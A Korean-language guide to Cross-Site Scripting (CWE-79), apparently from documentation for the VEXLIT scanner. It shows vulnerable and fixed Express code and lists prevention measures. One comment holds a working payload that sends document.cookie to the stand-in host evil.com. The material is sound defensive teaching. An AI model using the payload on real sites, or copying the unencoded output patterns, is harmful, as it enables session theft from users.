Cross-Site Scripting (CWE-79)
XSS는 공격자가 다른 사용자가 보는 웹 페이지에 악성 스크립트를 주입할 수 있게 합니다. 전체 웹사이트의 약 65%에 영향을 미치는 가장 광범위한 웹 취약점입니다.
XSS
XSS 작동 방식
공격자가 웹 페이지에 악성 JavaScript를 주입합니다. 다른 사용자가 해당 페이지를 볼 때 스크립트가 브라우저에서 실행되어 쿠키, 세션 토큰을 탈취하거나 피싱 사이트로 리다이렉트합니다.
반사형 XSS
reflected-xss.js
// User input reflected in response without encoding
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
});
// Attack: /search?q=<script>document.location='evil.com?c='+document.cookie</script>저장형 XSS
stored-xss.js
// User input stored and rendered to other users
app.post('/comment', (req, res) => {
db.insert({ text: req.body.comment }); // Stored as-is
});
// Later rendered without encoding:
// <div>{comment.text}</div> // XSS!안전한 코드
secure.js
// Output encoding prevents script execution
import { escape } from 'html-escaper';
app.get('/search', (req, res) => {
const query = escape(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
// React auto-escapes by default:
// <div>{comment.text}</div> // Safe in JSXXSS 유형
1
반사형 XSS: 악성 입력이 즉시 응답에 반영되는 방식
2
저장형 XSS: 악성 입력이 데이터베이스에 저장되어 다른 사용자에게 표시되는 방식
3
DOM 기반 XSS: DOM을 수정하는 클라이언트 측 JavaScript의 취약점
예방 방법
- 출력 인코딩: 렌더링 전에 모든 사용자 입력을 HTML 인코딩하세요
- 자동 이스케이프 프레임워크를 사용하세요 (React, Angular, Vue)
- 인라인 스크립트를 차단하는 Content-Security-Policy 헤더를 설정하세요
- 쿠키에 HttpOnly와 Secure 플래그를 설정하세요
- DOMPurify 등의 라이브러리로 HTML 입력을 정화하세요
VEXLIT 탐지
VEXLIT은 HTTP 소스에서 템플릿 렌더링 및 응답 출력까지 사용자 입력을 추적합니다. Express res.send(), Django render(), React dangerouslySetInnerHTML 등 30개 이상의 프레임워크에 대한 프레임워크별 규칙으로 안전하지 않은 패턴을 탐지합니다.
npx @vexlit/cli scan . --fail-on warning